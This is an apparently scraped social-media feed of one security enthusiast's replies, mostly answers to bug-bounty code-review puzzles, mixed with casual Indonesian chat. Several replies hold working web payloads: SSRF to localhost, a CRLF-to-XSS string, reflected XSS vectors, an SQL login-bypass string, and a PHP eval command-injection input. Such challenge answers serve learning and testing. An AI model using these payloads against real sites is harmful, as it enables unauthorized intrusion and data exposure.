sohay

creator of &

[sohay @sohay666]

@apivixtls is possible to check in level library? some cases they create some library let say in npm

[sohay @sohay666]

@hackerschoice April fools 🤣

[sohay @sohay666]

@HeidiOller1 @BrentTerhune @HowThingsWork_ 😂😂😂😂😂

[sohay @sohay666]

@c4pt1kus awalnya kirain web phising haha.

[sohay @sohay666]

@RienFn1 @ArnoldPoernomo dpt lucky punch , jadi bisa berfikir jernih bro haha

[sohay @sohay666]

@nyanheroes so excited 😼

[sohay @sohay666]

@Hac10101 i think, the issue is in array_key_exists (you want try to bypass that), if u excecute will error, because $validUsers it's undefine.

[sohay @sohay666]

@intigriti SSRF, you can put the payload like `/profile-picture?imgurl=http://[0000::1]:80`

[sohay @sohay666]

@zakiego gw kira bisa sekalian dptin nama nya 😁, berarti ini pake pola nik yah baca nya. misal dua digit pertama itu provinsi.

[sohay @sohay666]

@intigriti CRLF but possible lead to xss,
maybe with this payload :

locale_redirect.php?locale=%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

[sohay @sohay666]

@Sisi0_x $id actually you can enumerate id. so it's possible to IDOR (file.php?id=1)
I think you already used prepare statement, so it's hard to do SQL injection
the other bugs are when u display the data at line 18, XSS (reflected)
file.php?id="><svg onload=alert(1)>

[sohay @sohay666]

@gmaazs @0xrebus @irwndfrry @ariesyuangga @ArnoldPoernomo keknya valid, gw check dari twit ini
https://t.co/OAPAn9uXJn
gw compare di etherscan, match si nft nya sesuai
https://t.co/TDVZy32Xsg

[Arnold.P @ArnoldPoernomo]

😎🐵

Got my ape now I can sleep in peace

#BYAC

[sohay @sohay666]

@den_mas @lynxluna saya lebih pilih python si karena dari language nya lebih manusiawi di baca dan klo buat web dev ada framework seperti django, flask.

atau ada alternatif lain misal ruby , itu jg oke.

[sohay @sohay666]

@Hac10101 i think we can bypass the auth (SQL injection)
by added ' or 1 limit 1-- -

[sohay @sohay666]

@Hac10101 arbitrary file upload, an attacker able to upload such as file PHP backdoors will lead to RCE. For fixing the code needs to be validated so the extension file will be allowed to upload & csrf token.

[sohay @sohay666]

@intigriti I think there are 3 bugs

1. [compile error] on echo "<h1>answer: " --> need ; so the php code not execute.
2. [xss[ x.php?e1=5%3Cimg/src/onerror=alert(document.location)%3E&op=-&e2=2
3. [rce]x.php?e1=1;system("ls%20-la")

you know what? eval is evil haha

[sohay @sohay666]

@king48936774 @Hac10101 you can used like this filename.php?name="><img/src/onerror=prompt(window.origin)>

[sohay @sohay666]

@intigriti just convert the < & > into hex, then call by `onerror` event , because when it renders the invalid image it will trigger the onerror . the payload should be like this `?error_msg=\x3Cimg\x20src=xx\x20onerror=alert(window.origin)\x3E`

[sohay @sohay666]

@hernandoabella u used mian not main hahahhaa, typo ..